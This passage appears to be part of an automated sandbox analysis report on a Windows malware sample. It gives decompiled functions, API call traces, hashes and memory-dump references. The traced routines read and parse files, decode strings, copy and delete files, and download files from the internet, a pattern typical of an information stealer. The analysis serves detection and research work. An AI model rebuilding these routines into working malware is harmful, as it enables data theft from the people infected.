							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906a
0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090aa
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,Ptv), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00768138), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00767FB8), ref: 004091A9
lstrlen.KERNEL32(00767FB8), ref: 004091C9
StrStrA.SHLWAPI(00000000,00768108), ref: 004091ED
lstrcat.KERNEL32(00000000,00765AD0), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,00765AA0), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00765BF0), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,007689B0), ref: 004092BA
lstrlen.KERNEL32(007689B0), ref: 004092C8
StrStrA.SHLWAPI(00000000,007689D0), ref: 004092E6
lstrcat.KERNEL32(00000000,00765BD0), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,007689D0), ref: 00409350
lstrlen.KERNEL32(007689D0), ref: 0040935E
StrStrA.SHLWAPI(00000000,00768D58), ref: 0040937C
lstrcat.KERNEL32(00000000,00765AC0), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

Ptv, xrefs: 0040906A, 004090AA, 0040906D, 004090AD
, xrefs: 0040908F

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $Ptv
API String ID: 3141130001-3057296955
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005792B0, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00579305
lstrcat.KERNEL32(?,00414018), ref: 00579317
lstrcat.KERNEL32(?,0041A7E4), ref: 0057932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0057935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00579381
GetFileSize.KERNEL32(00000000,00000000), ref: 00579390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005793A9
new[].LIBCMTD ref: 005793B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 005793E8
StrStrA.SHLWAPI(?,0041A170), ref: 005793F9
lstrlen.KERNEL32(0041A170), ref: 00579419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0057943D
lstrcat.KERNEL32(0041A838,0041A334), ref: 00579463
lstrcat.KERNEL32(0041A838,?), ref: 00579474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00579486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00579499
lstrcat.KERNEL32(0041A838,00000020), ref: 005794A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005794BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 005794CE
lstrcat.KERNEL32(0041A838,00000000), ref: 005794E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005794F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0057950A
lstrlen.KERNEL32(0041A5B8), ref: 00579518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00579536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0057955B

Part of subcall function 005779F0: lstrlen.KERNEL32(0057956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00577A3B
Part of subcall function 005779F0: CryptStringToBinaryA.CRYPT32(0057956D,00000000), ref: 00577A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00579578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00579589
StrStrA.SHLWAPI(?,0041A5B4), ref: 005795A0
lstrlen.KERNEL32(0041A5B4), ref: 005795AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 005795CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 005795F1

Part of subcall function 005779F0: lstrcat.KERNEL32(?,0041401A), ref: 00577B09
Part of subcall function 005779F0: lstrcat.KERNEL32(?,0041401A), ref: 00577B1D
Part of subcall function 005779F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00577B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0057960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0057961F
CloseHandle.KERNEL32(00000000), ref: 0057963D

Strings

, xrefs: 005792DF

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 04451095f5b9df8a225537bfec876e51310f84ee710c6c97b149adfd56aabf79
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: D6A11AB5A11208AFC715EBA4ED88FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00767958), ref: 00406CAA

Strings

Xyv, xrefs: 00406CA4

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: Xyv
API String ID: 3209957514-3665146028
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00577FA0, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00577FB5
lstrcat.KERNEL32(?,00414018), ref: 00577FC7

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00577FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00577FF2
wsprintfA.USER32 ref: 0057801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057806F
RtlAllocateHeap.NTDLL(00000000), ref: 00578076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00578122
lstrcat.KERNEL32(?,0041A48C), ref: 00578149
lstrcat.KERNEL32(?,0041A15C), ref: 0057816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00578180
lstrcat.KERNEL32(?,0041A48C), ref: 005781A8
lstrcat.KERNEL32(?,0041A15C), ref: 005781CE

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00418BE0), ref: 005781FE
lstrcat.KERNEL32(?,?), ref: 00578212
lstrcat.KERNEL32(?,004191EC), ref: 00578224
lstrcat.KERNEL32(?,?), ref: 00578238
lstrcat.KERNEL32(?,004191EC), ref: 0057824A
lstrcat.KERNEL32(?,?), ref: 0057825E
lstrcat.KERNEL32(?,004191EC), ref: 00578270
lstrcat.KERNEL32(?,?), ref: 00578284
lstrcat.KERNEL32(?,004191EC), ref: 00578296
lstrcat.KERNEL32(?,?), ref: 005782AA
lstrcat.KERNEL32(?,004191EC), ref: 005782BC
lstrcat.KERNEL32(?,?), ref: 005782D0
lstrcat.KERNEL32(?,004191EC), ref: 005782E2
lstrcat.KERNEL32(?,00000000), ref: 00578320
lstrcat.KERNEL32(?,00418BC4), ref: 00578332
lstrlen.KERNEL32(?), ref: 00578344
DeleteFileA.KERNEL32(?), ref: 00578394

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: cb00685e0761198c7c15a539691aa6fe72b82c017530f618c2ad72bb9444e381
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 50B183B5A51108ABCB10EBA4ED8DFEA77B8BF4C704F008594F60997151CB34AAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00765AF0), ref: 00407EF9
lstrcat.KERNEL32(?,00765B10), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00765AF0), ref: 00407F58
lstrcat.KERNEL32(?,00765B10), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00765AF0), ref: 00408DEA
lstrcat.KERNEL32(?,00765B10), ref: 00408E10
lstrcat.KERNEL32(?,00765AF0), ref: 00408EC8
lstrcat.KERNEL32(?,00765B10), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Strings

Ptv, xrefs: 00408C1A, 00408C1D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: Ptv
API String ID: 3196222039-1640537945
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00578E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00578E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00578ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00578ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0057903A
lstrcat.KERNEL32(?,0041A15C), ref: 00579060
lstrcat.KERNEL32(?,0041A48C), ref: 00579118
lstrcat.KERNEL32(?,0041A15C), ref: 0057913E
lstrcat.KERNEL32(?,?), ref: 00579152
lstrcat.KERNEL32(?,004191EC), ref: 00579164
lstrcat.KERNEL32(?,?), ref: 00579178
lstrcat.KERNEL32(?,004191EC), ref: 0057918A
lstrcat.KERNEL32(?,?), ref: 0057919E
lstrcat.KERNEL32(?,004191EC), ref: 005791B0
lstrcat.KERNEL32(?,?), ref: 005791C4
lstrcat.KERNEL32(?,004191EC), ref: 005791D6
lstrcat.KERNEL32(?,?), ref: 005791EA
lstrcat.KERNEL32(?,004191EC), ref: 005791FC
lstrcat.KERNEL32(?,?), ref: 00579210
lstrcat.KERNEL32(?,004191EC), ref: 00579222
lstrcat.KERNEL32(?,?), ref: 00579236
lstrcat.KERNEL32(?,00418BC4), ref: 00579248
lstrlen.KERNEL32(?), ref: 0057925A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 09144c6f66fc89a439c29597d8d8dca476d8c10a6e1884d4f070902639fe4cf2
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: 3DC160B5A01218AFCB24DF64DD89BEA7BB5BF48704F0081D8F209A7291C7359E90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00575670, Relevance: 33.2, APIs: 18, Strings: 4, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 005756EC
lstrcat.KERNEL32(?,0041A7C4), ref: 00575700
lstrcat.KERNEL32(?,0041A11C), ref: 00575714
lstrcat.KERNEL32(?,0041A368), ref: 00575727
lstrcat.KERNEL32(?,0041A7C4), ref: 0057573B
lstrcat.KERNEL32(?,Pgv), ref: 0057574F
lstrcat.KERNEL32(?,0041A368), ref: 00575762
lstrcat.KERNEL32(?,0041A7C4), ref: 00575776
lstrcat.KERNEL32(?,0041A090), ref: 0057578A
lstrcat.KERNEL32(?,0041A368), ref: 0057579D
lstrcat.KERNEL32(?,0041A7C4), ref: 005757B1
lstrcat.KERNEL32(?, gv), ref: 005757C5
lstrcat.KERNEL32(?,0041A368), ref: 005757D8
lstrcat.KERNEL32(?,0041A7C4), ref: 005757EC
lstrcat.KERNEL32(?,8gv), ref: 00575800
lstrcat.KERNEL32(?,0041A368), ref: 00575813
lstrcat.KERNEL32(?,0041A7C4), ref: 00575827
lstrcat.KERNEL32(?,0041A674), ref: 0057583B

Part of subcall function 00574C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E

Part of subcall function 00574C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00574C8A
Part of subcall function 00574C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00574CDF
Part of subcall function 00574C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00574D1F
Part of subcall function 00574C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00574D35
Part of subcall function 00574C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00574D67
Part of subcall function 00574C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00574D90
Part of subcall function 00574C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00574DBE
Part of subcall function 00574C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00574E0C
Part of subcall function 00574C30: InternetCloseHandle.WININET(?), ref: 00574E16
Part of subcall function 00574C30: InternetCloseHandle.WININET(00000000), ref: 00574E23

Part of subcall function 00574C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00574D00
Part of subcall function 00574C30: Sleep.KERNEL32(00007530), ref: 00574D46

Strings

8gv, xrefs: 005757F2, 005757F8
0qv, xrefs: 0057586C, 00575872
Pgv, xrefs: 00575741, 00575747
gv, xrefs: 005757B7, 005757BD

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: gv$0qv$8gv$Pgv
API String ID: 3671864319-1352521231
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 5ad7055377f8a9a9550180e1512831c2b03f327e839866c4b5e1e9129f4e13df
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: C76186B651120CABC711EBA0ED88EDA37FCBB8C700F04C599B31952151DB74ABA8CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 33.2, APIs: 18, Strings: 4, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x7667b0
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x766750
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x766780
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x766720
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x766738
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x7654f8
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x765398
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x7674f0
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x7671f8
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x767130
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x765498
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x7673b0
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x7670b8
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,00762398), ref: 0040549C
lstrcat.KERNEL32(?,007654F8), ref: 004054B0
lstrcat.KERNEL32(?,007667B0), ref: 004054C4
lstrcat.KERNEL32(?,00762398), ref: 004054D7
lstrcat.KERNEL32(?,007654F8), ref: 004054EB
lstrcat.KERNEL32(?,00766750), ref: 004054FF
lstrcat.KERNEL32(?,00762398), ref: 00405512
lstrcat.KERNEL32(?,007654F8), ref: 00405526
lstrcat.KERNEL32(?,00766780), ref: 0040553A
lstrcat.KERNEL32(?,00762398), ref: 0040554D
lstrcat.KERNEL32(?,007654F8), ref: 00405561
lstrcat.KERNEL32(?,00766720), ref: 00405575
lstrcat.KERNEL32(?,00762398), ref: 00405588
lstrcat.KERNEL32(?,007654F8), ref: 0040559C
lstrcat.KERNEL32(?,00766738), ref: 004055B0
lstrcat.KERNEL32(?,00762398), ref: 004055C3
lstrcat.KERNEL32(?,007654F8), ref: 004055D7
lstrcat.KERNEL32(?,00765398), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
